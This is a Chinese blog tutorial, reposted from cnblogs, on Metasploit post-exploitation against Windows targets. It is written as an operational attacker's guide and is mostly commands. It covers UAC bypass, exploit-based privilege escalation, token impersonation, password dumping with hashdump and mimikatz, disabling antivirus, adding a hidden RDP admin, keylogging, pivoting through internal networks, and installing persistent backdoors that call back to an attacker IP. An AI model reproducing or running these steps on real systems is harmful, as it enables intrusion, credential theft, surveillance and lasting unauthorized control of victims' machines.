• 后渗透2


    MSF后渗透包括:提权,进程迁移,令牌假冒,获取凭证,操作文件系统,系统其它操作,端口转发和内网代理,后门

    提权

    通常webshell的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更高的权限。

    绕过UAC

    用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
    MSF提供了如下几个模块帮助绕过UAC:

    以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使用方法基本一致
    (1)首先需要在meterpreter下执行background命令让当前会话保存到后台。

    1
    background

    (2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。

    1
    session

    (3)使用use exploit/windows/local/bypassuac_eventvwr命令进入该模块,使用show options查看需要设置的参数。
    (4)将参数session设置为1,直接运行exploit或者run命令,执行成功之后会返回一个新的meterpreter会话。

    (5)使用getuid命令查看当前用户,此时仍然是普通用户,再使用getsystem命令就可以提升到system权限了。

    利用系统漏洞提权

    无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。

    (1)使用search 补丁号进行搜索,就可以找到相关模块,以ms13-081为例。

    (2)使用use exploit/windows/local/ms13_081_track_popup_menu命令进入该模块,使用show options命令查看需要设置的参数。
    (3)使用set session 1命令设置后台的meterpreter会话id,再使用run命令运行,获取的就是SYSTEM权限。

    进程迁移

    当meterpreter单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化。
    1.查看当前会话的进程id

    命令:getpid
    2.查看目标运行的进程

    命令:ps
    3.绑定进程

    命令:migratep id

    令牌假冒

    在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。

    msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。
    1.查看当前用户
    命令:getuid
    2.使用use incognito命令进入该模块
    命令:use incognito
    3.查看存在的令牌
    命令:list_tokens-u
    4.令牌假冒
    命令:impersonate_token用户名
    注意用户名的斜杠需要写两个

    5.查看是否成功切换身份
    命令:getuid

    获取凭证

    在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
    1.使用meterpreter的run hashdump命令。
    2.使用load mimikatz加载mimikatz模块,再使用help mimikatz查看支持的命令。
    3.使用wdigest命令获取登录过的用户储存在内存里的明文密码。

    操作文件系统

    1.文件的基本操作
    ls:列出当前路径下的所有文件和文件夹。
    pwd 或 getwd:查看当前路径。
    search:搜索文件,使用search -h查看帮助。
    cat:查看文件内容,比如cat test.txt。
    edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
    rm:删除文件。
    cd:切换路径。
    mkdir:创建文件夹。
    rmdir:删除文件夹。
    getlwd 或 lpwd:查看自己系统的当前路径。
    lcd:切换自己当前系统的目录。
    lls:显示自己当前系统的所有文件和文件夹。
    2.文件的上传和下载
    (1) upload
    格式:upload本地文件路径目标文件路径
    (2)download
    格式:download 目标文件路径 本地文件路径

    系统其它操作

    1.关闭防病毒软件
    run killav
    run post/windows/manage/killav
    2.操作远程桌面
    run post/windows/manage/enable_rdp开启远程桌面
    run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
    3.截屏
    screenshot
    4.键盘记录
    keyscan_start:开启键盘记录功能
    keyscan_dump:显示捕捉到的键盘记录信息
    keyscan_stop:停止键盘记录功能
    5.执行程序
    execute -h 查看使用方法
    -H:创建一个隐藏进程
    -a:传递给命令的参数
    -i:跟进程进行交互
    -m:从内存中执行
    -t:使用当前伪造的线程令牌运行进程
    -s:在给定会话中执行进程
    例:execute -f c:/temp/hello.exe

    端口转发和内网代理

    1.portfwd
    portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
    常用参数:
    -l:本地监听端口
    -r:内网目标的ip
    -p:内网目标的端口

    上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
    2.pivot
    pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
    (1)首先需要在msf的操作界面下添加一个路由表。
    添加命令:route add 内网ip 子网掩码 session的id
    打印命令:route print
    路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
    (2)建立socks代理。
    如果其它程序需要访问这个内网环境,就可以建立socks代理。
    msf提供了3个模块用来做socks代理。
    auxiliary/server/socks4a
    use auxiliary/server/socks5
    use auxiliary/server/socks_unc
    以auxiliary/server/socks4a为例,查看需要设置的参数。
    一共两个参数:
    SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
    SRVPORT:监听的端口,默认为1080。
    直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用

    后门

    Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。

    Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
    1.metsvc
    (1) 使用run metsvc -h查看帮助,一共有三个参数。
    -A:安装后门后,自动启动exploit/multi/handler模块连接后门
    -h:查看帮助
    -r:删除后门
    (2) 安装后门
    命令:run metsvc
    命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
    同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
    (3) 连接后门
    使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
    2.persistence
    (1) 使用run persistence -h查看参数。
    -A:安装后门后,自动启动exploit/multi/handler模块连接后门
    -L:自启动脚本的路径,默认为%TEMP%
    -P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
    -S:作为一个服务在系统启动时运行(需要SYSTEM权限)
    -T:要使用的备用可执行模板
    -U:用户登陆时运行
    -X:系统启动时运行
    -i:后门每隔多少秒尝试连接服务端
    -p:服务端监听的端口
    -r:服务端ip
    (2) 生成后门
    命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
    (3) 连接后门

    使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口

    转载于:https://www.cnblogs.com/ihacker/p/11448945.html

  • 相关阅读:
    Java 线程池
    eclipse 创建Java web项目 Cannot change version of project facet Dynamic web module to xxx
    Maven maven-compiler-plugin 编译问题
    设计模式 单例模式
    Spring 配置文件注入
    Java HashMap、HashTable与ConCurrentHashMap
    Java Web ActiveMQ与WebService的异同
    Java Web 拦截器和过滤器的区别
    html2canvas 使用指南
    js动态改变setInterval的时间间隔
  • 原文地址:https://www.cnblogs.com/lzkalislw/p/12936313.html
Copyright © 2020-2023  润新知